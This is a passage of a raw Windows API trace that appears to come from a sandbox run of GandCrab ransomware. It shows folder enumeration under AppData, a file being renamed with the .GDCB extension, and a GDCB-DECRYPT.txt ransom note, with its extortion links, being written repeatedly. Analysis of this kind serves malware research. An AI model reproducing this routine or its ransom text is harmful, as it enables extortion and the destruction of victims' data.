lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.173] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.173] CloseHandle (hObject=0x4f4) returned 1 [0053.174] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.174] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.175] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.175] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8mu6pxfxklxwxfc.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8mu6pxfxklxwxfc.m4a.gdcb")) returned 1 [0053.175] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.175] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.176] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.176] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0053.176] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0053.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0053.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0053.176] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.176] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.176] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.176] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.176] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.176] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.176] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned 44 [0053.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*" [0053.176] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x589620 [0053.181] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.181] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.181] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.181] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.181] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned 51 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned 56 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned 54 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned 55 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned 57 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.182] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1 [0053.182] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1 [0053.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0053.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned 49 [0053.182] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0053.182] FindClose (in: hFindFile=0x589620 | out: hFindFile=0x589620) returned 1 [0053.182] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.183] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\GDCB-DECRYPT.txt") returned 61 [0053.183] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.184] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.184] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0053.185] CloseHandle (hObject=0x4f4) returned 1 [0053.185] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.185] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned 44 [0053.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*" [0053.185] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x589020 [0053.185] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.185] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.185] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.185] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.185] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.185] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0053.185] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0053.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0053.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\" [0053.185] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.185] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned 52 [0053.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0053.186] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x589060 [0053.186] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.186] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.186] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.186] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.186] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.186] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0053.186] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0053.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0053.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned 54 [0053.186] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.186] FindClose (in: hFindFile=0x589060 | out: hFindFile=0x589060) returned 1 [0053.186] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.186] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 69 [0053.186] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.246] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.246] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.246] CloseHandle (hObject=0x4f8) returned 1 [0053.246] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned 52 [0053.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0053.247] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589360 [0053.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.247] FindNextFileW (in: hFindFile=0x589360, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.247] FindNextFileW (in: hFindFile=0x589360, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.247] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0053.247] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0053.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0053.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0053.247] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.247] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned 55 [0053.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*" [0053.247] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5890a0 [0053.248] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.248] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.248] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.248] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0053.248] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0053.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0053.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned 61 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.248] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0053.248] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0053.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0053.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned 60 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.248] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1 [0053.248] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1 [0053.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0053.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned 62 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.248] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0053.248] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0053.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0053.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned 63 [0053.248] FindNextFileW (in: hFindFile=0x5890a0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.248] FindClose (in: hFindFile=0x5890a0 | out: hFindFile=0x5890a0) returned 1 [0053.248] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.248] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 72 [0053.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.249] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.249] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.249] CloseHandle (hObject=0x4fc) returned 1 [0053.250] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.250] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned 55 [0053.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*" [0053.250] FindFirstFileW (in: 